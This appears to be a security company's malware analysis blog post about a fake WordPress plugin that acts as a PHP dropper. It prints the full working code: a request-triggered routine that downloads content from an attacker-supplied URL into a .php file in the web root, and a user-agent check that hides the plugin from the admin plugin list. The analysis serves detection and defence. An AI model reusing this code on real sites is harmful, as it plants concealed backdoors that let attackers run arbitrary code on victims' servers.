Moe Obaid – an analyst from our Remediation Team – recently found a PHP dropper that had been installed as a malicious WordPress plugin. Unlike other fake plugins we’ve recently written about, this plugin had been installed and activated in the administrator backend (wp-admin) to help evade detection.
Once installed and activated, the malicious plugin’s file ./wp-content/plugins/wpfilmngr/index.php is loaded and gains access to specific WordPress PHP functions like the add_action() hook.
PHP Dropper Functionality
This malicious PHP file uses the following PHP code to operate. Pay close attention to the custom function upload1Fsociety112233:
function upload1Fsociety112233(){ function getDataFromURLWP112233($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); if (!$output) { $output = file_get_contents($url); if (!$output) { $handle = fopen($url, "r"); $output = stream_get_contents($handle); fclose($handle); } } if (!$output) { return false; } else { return $output; } } function putDataFromURLWP112233($file, $dump) { $dump = '<?php /*' . md5(rand(0, 9999999999)) . md5(rand(0, 9999999999)) . ' */?>' . $dump; file_put_contents($file, $dump); } if(isset($_REQUEST["testingfsoc"])) { $url = $_REQUEST["url"]; $fileName = $_REQUEST["filename"]; $fullFileName = $_SERVER["DOCUMENT_ROOT"] . "/$fileName.php"; $dataFromURL = getDataFromURLWP112233($url); if($dataFromURL){ putDataFromURLWP112233($fullFileName,$dataFromURL); } } }
The custom function upload1Fsociety112233 is actually compromised of two separate custom functions:
- getDataFromURLWP112233
- putDataFromURLWP112233
The getDataFromURLWP112233 function does exactly as the name implies. It requests data from a remote host using the PHP curl function. The remote host is provided by the attacker in their crafted HTTP request with the url parameter value. It then inserts the returned data output into a .php file, along with some PHP tags and the MD5 hash values named in the attacker’s HTTP request with the filename value.
The malicious code also contains functionality that conceals the fake plugin to prevent it from being displayed to logged in users in the wp-admin backend. This is accomplished by checking for specific user-agent’s in the visitor’s request.
<?php function validateUserAgentWP112233(){ function checkSecretUserAgent112233($user){ if($user == $_SERVER['HTTP_USER_AGENT']){ return true; }else{ return false; } } function hookAdminPluginWP112233($plugin){ $itemsForHooking = array($plugin); global $wp_list_table; $myData = $wp_list_table->items; foreach ($myData as $key => $val) { if (in_array($key, $itemsForHooking)) { unset($wp_list_table->items[$key]); } } } if(!checkSecretUserAgent112233('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36')){ hookAdminPluginWP112233('wpfilmngr/index.php'); } } ?>
The custom function hookAdminPluginWP112233 is used to hide the plugin from view and only runs if the visitor’s user-agent does not match the defined string:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36
When the malicious plugin is active, it does not show on the active plugin page if the visitor’s user-agent does not match.
The dashboard still shows the total active plugins accurately, but this is often missed by website owners. Most WordPress installations use multiple plugins — making it more difficult to “eyeball” the number of active plugins and detect any unwanted components.
If the user-agent does match the custom function hookAdminPluginWP112233, the malicious plugin will actively display.